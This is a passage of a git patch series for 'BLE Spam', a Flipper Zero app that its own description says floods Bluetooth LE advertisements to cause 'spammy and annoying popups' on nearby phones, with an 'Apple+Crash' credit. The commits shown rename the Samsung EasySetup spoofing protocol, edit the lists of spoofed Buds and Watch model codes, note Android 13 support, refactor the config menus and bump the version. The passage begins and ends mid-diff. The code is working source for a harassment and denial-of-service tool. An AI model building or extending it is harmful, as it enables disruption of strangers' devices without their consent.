applications/external/ble_spam/protocols/easysetup_scenes.h delete mode 100644 applications/external/ble_spam/protocols/smartthings_scenes.h diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index fb4d4843f..a0977c19e 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -90,15 +90,15 @@ static Attack attacks[] = { { .title = "Samsung Buds Popup", .text = "No cooldown, long range", - .protocol = &protocol_smartthings, + .protocol = &protocol_easysetup, .payload = { .random_mac = true, .cfg = { - .smartthings = + .easysetup = { - .type = SmartthingsTypeBuds, + .type = EasysetupTypeBuds, .data = {}, }, }, @@ -107,15 +107,15 @@ static Attack attacks[] = { { .title = "Samsung Watch Pair", .text = "No cooldown, long range", - .protocol = &protocol_smartthings, + .protocol = &protocol_easysetup, .payload = { .random_mac = true, .cfg = { - .smartthings = + .easysetup = { - .type = SmartthingsTypeWatch, + .type = EasysetupTypeWatch, .data = {}, }, }, diff --git a/applications/external/ble_spam/protocols/_protocols.c b/applications/external/ble_spam/protocols/_protocols.c index f17c2690c..a40b60497 100644 --- a/applications/external/ble_spam/protocols/_protocols.c +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -3,7 +3,7 @@ const Protocol* protocols[] = { &protocol_continuity, &protocol_fastpair, - &protocol_smartthings, + &protocol_easysetup, &protocol_swiftpair, }; diff --git a/applications/external/ble_spam/protocols/_protocols.h b/applications/external/ble_spam/protocols/_protocols.h index a91278e2a..4e646eefb 100644 --- a/applications/external/ble_spam/protocols/_protocols.h +++ b/applications/external/ble_spam/protocols/_protocols.h @@ -2,13 +2,13 @@ #include "continuity.h" #include "fastpair.h" -#include "smartthings.h" +#include "easysetup.h" #include "swiftpair.h" union ProtocolCfg { ContinuityCfg continuity; FastpairCfg fastpair; - SmartthingsCfg smartthings; + EasysetupCfg easysetup; SwiftpairCfg swiftpair; }; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h index c440ab187..83c192d65 100644 --- a/applications/external/ble_spam/protocols/_scenes.h +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -1,4 +1,4 @@ #include "continuity_scenes.h" #include "fastpair_scenes.h" -#include "smartthings_scenes.h" +#include "easysetup_scenes.h" #include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/easysetup.c similarity index 80% rename from applications/external/ble_spam/protocols/smartthings.c rename to applications/external/ble_spam/protocols/easysetup.c index 956357e00..24046d6c3 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -1,4 +1,4 @@ -#include "smartthings.h" +#include "easysetup.h" #include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 @@ -64,27 +64,27 @@ const struct { }; const uint8_t watch_models_count = COUNT_OF(watch_models); -static const char* type_names[SmartthingsTypeCOUNT] = { - [SmartthingsTypeBuds] = "SmartThings Buds", - [SmartthingsTypeWatch] = "SmartThings Watch", +static const char* type_names[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = "EasySetup Buds", + [EasysetupTypeWatch] = "EasySetup Watch", }; -static const char* smartthings_get_name(const ProtocolCfg* _cfg) { - const SmartthingsCfg* cfg = &_cfg->smartthings; +static const char* easysetup_get_name(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->easysetup; return type_names[cfg->type]; } -static uint8_t packet_sizes[SmartthingsTypeCOUNT] = { - [SmartthingsTypeBuds] = 31, - [SmartthingsTypeWatch] = 15, +static uint8_t packet_sizes[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = 31, + [EasysetupTypeWatch] = 15, }; -void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { - const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; +void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL; - SmartthingsType type; + EasysetupType type; if(cfg) { type = cfg->type; } else { - type = rand() % SmartthingsTypeCOUNT; + type = rand() % EasysetupTypeCOUNT; } uint8_t size = packet_sizes[type]; @@ -92,7 +92,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot uint8_t i = 0; switch(type) { - case SmartthingsTypeBuds: { + case EasysetupTypeBuds: { uint32_t model; if(cfg && cfg->data.buds.model != 0x000000) { model = cfg->data.buds.model; @@ -135,7 +135,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot // Truncated AD segment, Android seems to fill in the rest with zeros break; } - case SmartthingsTypeWatch: { + case EasysetupTypeWatch: { uint8_t model; if(cfg && cfg->data.watch.model != 0x00) { model = cfg->data.watch.model; @@ -178,23 +178,23 @@ enum { }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(cfg->type) { - case SmartthingsTypeBuds: { + case EasysetupTypeBuds: { switch(index) { case ConfigBudsModel: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModel); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel); break; default: break; } break; } - case SmartthingsTypeWatch: { + case EasysetupTypeWatch: { switch(index) { case ConfigWatchModel: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModel); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel); break; default: break; @@ -206,7 +206,7 @@ static void config_callback(void* _ctx, uint32_t index) { } } static void buds_model_changed(VariableItem* item) { - SmartthingsCfg* cfg = variable_item_get_context(item); + EasysetupCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; @@ -218,7 +218,7 @@ static void buds_model_changed(VariableItem* item) { } } static void watch_model_changed(VariableItem* item) { - SmartthingsCfg* cfg = variable_item_get_context(item); + EasysetupCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; @@ -229,14 +229,14 @@ static void watch_model_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static void smartthings_extra_config(Ctx* ctx) { - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; +static void easysetup_extra_config(Ctx* ctx) { + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; VariableItemList* list = ctx->variable_item_list; VariableItem* item; size_t value_index; switch(cfg->type) { - case SmartthingsTypeBuds: { + case EasysetupTypeBuds: { item = variable_item_list_add( list, "Model Code", buds_models_count + 1, buds_model_changed, cfg); const char* model_name = NULL; @@ -262,7 +262,7 @@ static void smartthings_extra_config(Ctx* ctx) { variable_item_set_current_value_text(item, model_name); break; } - case SmartthingsTypeWatch: { + case EasysetupTypeWatch: { item = variable_item_list_add( list, "Model Code", watch_models_count + 1, watch_model_changed, cfg); const char* model_name = NULL; @@ -295,23 +295,23 @@ static void smartthings_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } -const Protocol protocol_smartthings = { +const Protocol protocol_easysetup = { .icon = &I_android, - .get_name = smartthings_get_name, - .make_packet = smartthings_make_packet, - .extra_config = smartthings_extra_config, + .get_name = easysetup_get_name, + .make_packet = easysetup_make_packet, + .extra_config = easysetup_extra_config, }; static void buds_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; switch(index) { case 0: cfg->data.buds.model = 0x000000; scene_manager_previous_scene(ctx->scene_manager); break; case buds_models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModelCustom); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom); break; default: cfg->data.buds.model = buds_models[index - 1].value; @@ -319,9 +319,9 @@ static void buds_model_callback(void* _ctx, uint32_t index) { break; } } -void scene_smartthings_buds_model_on_enter(void* _ctx) { +void scene_easysetup_buds_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool found = false; @@ -349,12 +349,12 @@ void scene_smartthings_buds_model_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_smartthings_buds_model_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_buds_model_on_exit(void* _ctx) { +void scene_easysetup_buds_model_on_exit(void* _ctx) { UNUSED(_ctx); } @@ -363,9 +363,9 @@ static void buds_model_custom_callback(void* _ctx) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { +void scene_easysetup_buds_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -379,28 +379,28 @@ void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_smartthings_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_buds_model_custom_on_exit(void* _ctx) { +void scene_easysetup_buds_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; cfg->data.buds.model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } static void watch_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; switch(index) { case 0: cfg->data.watch.model = 0x00; scene_manager_previous_scene(ctx->scene_manager); break; case watch_models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModelCustom); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom); break; default: cfg->data.watch.model = watch_models[index - 1].value; @@ -408,9 +408,9 @@ static void watch_model_callback(void* _ctx, uint32_t index) { break; } } -void scene_smartthings_watch_model_on_enter(void* _ctx) { +void scene_easysetup_watch_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool found = false; @@ -438,12 +438,12 @@ void scene_smartthings_watch_model_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_smartthings_watch_model_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_watch_model_on_exit(void* _ctx) { +void scene_easysetup_watch_model_on_exit(void* _ctx) { UNUSED(_ctx); } @@ -452,9 +452,9 @@ static void watch_model_custom_callback(void* _ctx) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { +void scene_easysetup_watch_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -466,13 +466,13 @@ void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_smartthings_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_watch_model_custom_on_exit(void* _ctx) { +void scene_easysetup_watch_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; cfg->data.watch.model = (ctx->byte_store[0] << 0x00); } diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/easysetup.h similarity index 61% rename from applications/external/ble_spam/protocols/smartthings.h rename to applications/external/ble_spam/protocols/easysetup.h index bda7a9bb7..4c9458538 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/easysetup.h @@ -5,13 +5,13 @@ // Research by @Spooks4576 typedef enum { - SmartthingsTypeBuds, - SmartthingsTypeWatch, - SmartthingsTypeCOUNT, -} SmartthingsType; + EasysetupTypeBuds, + EasysetupTypeWatch, + EasysetupTypeCOUNT, +} EasysetupType; typedef struct { - SmartthingsType type; + EasysetupType type; union { struct { uint32_t model; @@ -20,6 +20,6 @@ typedef struct { uint8_t model; } watch; } data; -} SmartthingsCfg; +} EasysetupCfg; -extern const Protocol protocol_smartthings; +extern const Protocol protocol_easysetup; diff --git a/applications/external/ble_spam/protocols/easysetup_scenes.h b/applications/external/ble_spam/protocols/easysetup_scenes.h new file mode 100644 index 000000000..59814a728 --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup_scenes.h @@ -0,0 +1,4 @@ +ADD_SCENE(easysetup_buds_model, EasysetupBudsModel) +ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom) +ADD_SCENE(easysetup_watch_model, EasysetupWatchModel) +ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom) diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h deleted file mode 100644 index d184880da..000000000 --- a/applications/external/ble_spam/protocols/smartthings_scenes.h +++ /dev/null @@ -1,4 +0,0 @@ -ADD_SCENE(smartthings_buds_model, SmartthingsBudsModel) -ADD_SCENE(smartthings_buds_model_custom, SmartthingsBudsModelCustom) -ADD_SCENE(smartthings_watch_model, SmartthingsWatchModel) -ADD_SCENE(smartthings_watch_model_custom, SmartthingsWatchModelCustom) From ed22a69d841b2d32f68c0174a77f8e42bec0e5c5 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:07:47 +0100 Subject: [PATCH 47/56] BLE Spam 3.1 --- applications/external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/protocols/easysetup.c | 8 ++++---- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index e3c454e87..23d80b459 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="3.0", + fap_version="3.1", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index a0977c19e..2277b51cd 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -315,7 +315,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#3.0\e#", + " Version \e#3.1\e#", false); break; default: { diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index 24046d6c3..b0f85f09a 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -8,6 +8,8 @@ const struct { uint32_t value; const char* name; } buds_models[] = { + {0xEE7A0C, "Fallback Buds"}, + {0x9D1700, "Fallback Dots"}, {0x39EA48, "Light Purple Buds2"}, {0xA7C62C, "Bluish Silver Buds2"}, {0x850116, "Black Buds Live"}, @@ -26,8 +28,6 @@ const struct { {0x42C519, "Red Buds Live"}, {0xAE073A, "Black & White Buds2"}, {0x011716, "Sleek Black Buds2"}, - {0x9D1700, "Fallback Image"}, - {0xEE7A0C, "Fallback Buds"}, }; const uint8_t buds_models_count = COUNT_OF(buds_models); @@ -35,6 +35,7 @@ const struct { uint8_t value; const char* name; } watch_models[] = { + {0x1A, "Fallback Watch"}, {0x01, "White Watch4 Classic 44"}, {0x02, "Black Watch4 Classic 40"}, {0x03, "White Watch4 Classic 40"}, @@ -59,8 +60,7 @@ const struct { {0x1C, "Gold Watch6 Gold 40mm"}, {0x1D, "Silver Watch6 Cyan 44mm"}, {0x1E, "Black Watch6 Classic 43mm"}, - {0x20, "Green Goofy"}, - {0x1A, "Fallback Watch"}, + {0x20, "Green Watch6 Classic 43mm"}, }; const uint8_t watch_models_count = COUNT_OF(watch_models); From 9db35bd4796ea77f10c38dcb01c4f9a9403f7c7a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:15:27 +0100 Subject: [PATCH 48/56] Add android 13 info to buds spam --- applications/external/ble_spam/protocols/easysetup.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index b0f85f09a..fa0a98aa2 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -260,6 +260,8 @@ static void easysetup_extra_config(Ctx* ctx) { } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); + + variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL); break; } case EasysetupTypeWatch: { From c73c487cfe292be301355ce96b5c39835204071a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 06:35:49 +0100 Subject: [PATCH 49/56] BLE Spam base config support ok interaction --- applications/external/ble_spam/ble_spam.h | 1 + .../external/ble_spam/protocols/_base.h | 1 + .../external/ble_spam/protocols/continuity.c | 38 +++++++++++++++++++ .../external/ble_spam/protocols/easysetup.c | 18 +++++++++ .../external/ble_spam/protocols/fastpair.c | 12 ++++++ .../external/ble_spam/protocols/swiftpair.c | 12 ++++++ .../external/ble_spam/scenes/config.c | 17 +++++++++ 7 files changed, 99 insertions(+) diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index edf2c55ca..eaf06b9e1 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -26,6 +26,7 @@ typedef struct Attack Attack; typedef struct { Attack* attack; uint8_t byte_store[3]; + VariableItemListEnterCallback fallback_config_enter; ViewDispatcher* view_dispatcher; SceneManager* scene_manager; diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index 0b6fdacbd..6f32b9990 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -17,4 +17,5 @@ typedef struct { const char* (*get_name)(const ProtocolCfg* _cfg); void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); void (*extra_config)(Ctx* ctx); + uint8_t (*config_count)(const ProtocolCfg* _cfg); } Protocol; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 4233f0457..4b29683ab 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -277,11 +277,19 @@ enum { _ConfigPpExtraStart = ConfigExtraStart, ConfigPpModel, ConfigPpPrefix, + ConfigPpCOUNT, }; enum { _ConfigNaExtraStart = ConfigExtraStart, ConfigNaAction, ConfigNaFlags, + ConfigNaCOUNT, +}; +enum { + _ConfigCcExtraStart = ConfigExtraStart, + ConfigCcInfoLock, + ConfigCcInfoDevice, + ConfigCcCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -297,6 +305,7 @@ static void config_callback(void* _ctx, uint32_t index) { scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); break; default: + ctx->fallback_config_enter(ctx, index); break; } break; @@ -310,11 +319,24 @@ static void config_callback(void* _ctx, uint32_t index) { scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); break; default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case ContinuityTypeCustomCrash: { + switch(index) { + case ConfigCcInfoLock: + case ConfigCcInfoDevice: + break; + default: + ctx->fallback_config_enter(ctx, index); break; } break; } default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -470,11 +492,27 @@ static void continuity_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t config_counts[ContinuityTypeCOUNT] = { + [ContinuityTypeAirDrop] = 0, + [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1, + [ContinuityTypeAirplayTarget] = 0, + [ContinuityTypeHandoff] = 0, + [ContinuityTypeTetheringSource] = 0, + [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1, + [ContinuityTypeNearbyInfo] = 0, + [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1, +}; +static uint8_t continuity_config_count(const ProtocolCfg* _cfg) { + const ContinuityCfg* cfg = &_cfg->continuity; + return config_counts[cfg->type]; +} + const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, .extra_config = continuity_extra_config, + .config_count = continuity_config_count, }; static void pp_model_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index fa0a98aa2..98a9541de 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -171,10 +171,13 @@ void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const Protoc enum { _ConfigBudsExtraStart = ConfigExtraStart, ConfigBudsModel, + ConfigBudsInfoVersion, + ConfigBudsCOUNT, }; enum { _ConfigWatchExtraStart = ConfigExtraStart, ConfigWatchModel, + ConfigWatchCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -186,7 +189,10 @@ static void config_callback(void* _ctx, uint32_t index) { case ConfigBudsModel: scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel); break; + case ConfigBudsInfoVersion: + break; default: + ctx->fallback_config_enter(ctx, index); break; } break; @@ -197,11 +203,13 @@ static void config_callback(void* _ctx, uint32_t index) { scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel); break; default: + ctx->fallback_config_enter(ctx, index); break; } break; } default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -297,11 +305,21 @@ static void easysetup_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t config_counts[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1, + [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1, +}; +static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->easysetup; + return config_counts[cfg->type]; +} + const Protocol protocol_easysetup = { .icon = &I_android, .get_name = easysetup_get_name, .make_packet = easysetup_make_packet, .extra_config = easysetup_extra_config, + .config_count = easysetup_config_count, }; static void buds_model_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 2e8f6749b..a5caf80cc 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -82,6 +82,8 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc enum { _ConfigExtraStart = ConfigExtraStart, ConfigModel, + ConfigInfoRequire, + ConfigCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -89,7 +91,11 @@ static void config_callback(void* _ctx, uint32_t index) { switch(index) { case ConfigModel: scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel); + break; + case ConfigInfoRequire: + break; default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -139,11 +145,17 @@ static void fastpair_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) { + UNUSED(_cfg); + return ConfigCOUNT; +} + const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, .extra_config = fastpair_extra_config, + .config_count = fastpair_config_count, }; static void model_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index d8280e598..fc21f1778 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -49,6 +49,8 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto enum { _ConfigExtraStart = ConfigExtraStart, ConfigName, + ConfigInfoRequire, + ConfigCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -56,7 +58,11 @@ static void config_callback(void* _ctx, uint32_t index) { switch(index) { case ConfigName: scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName); + break; + case ConfigInfoRequire: + break; default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -73,11 +79,17 @@ static void swiftpair_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) { + UNUSED(_cfg); + return ConfigCOUNT; +} + const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, .extra_config = swiftpair_extra_config, + .config_count = swiftpair_config_count, }; static void name_callback(void* _ctx) { diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index afd7159af..5d1267276 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -8,6 +8,21 @@ static void random_mac_changed(VariableItem* item) { variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); } +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + if(ctx->attack->protocol && ctx->attack->protocol->config_count) { + uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg); + if(index > extra) index -= extra; + } + + switch(index) { + case ConfigRandomMac: + break; + default: + break; + } +} void scene_config_on_enter(void* _ctx) { Ctx* ctx = _ctx; VariableItem* item; @@ -20,9 +35,11 @@ void scene_config_on_enter(void* _ctx) { variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + variable_item_list_set_enter_callback(list, config_callback, ctx); if(!ctx->attack->protocol) { variable_item_list_add(list, "None shall escape the S I N K", 0, NULL, NULL); } else if(ctx->attack->protocol->extra_config) { + ctx->fallback_config_enter = config_callback; ctx->attack->protocol->extra_config(ctx); } From f514efd95101e7f678bf8d01a0bce2d17e0b97ee Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 08:27:01 +0100 Subject: [PATCH 50/56] BLE Spam add led indicator blink (v3.2) --- .../external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 30 ++++++++++++++++++- applications/external/ble_spam/ble_spam.h | 4 +++ .../external/ble_spam/scenes/config.c | 22 +++++++++----- 4 files changed, 48 insertions(+), 10 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index 23d80b459..b6a3ce5ea 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="3.1", + fap_version="3.2", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 2277b51cd..11eeaabac 100644 --- a/applications/external/ble_spam/ble_spam.c +++ 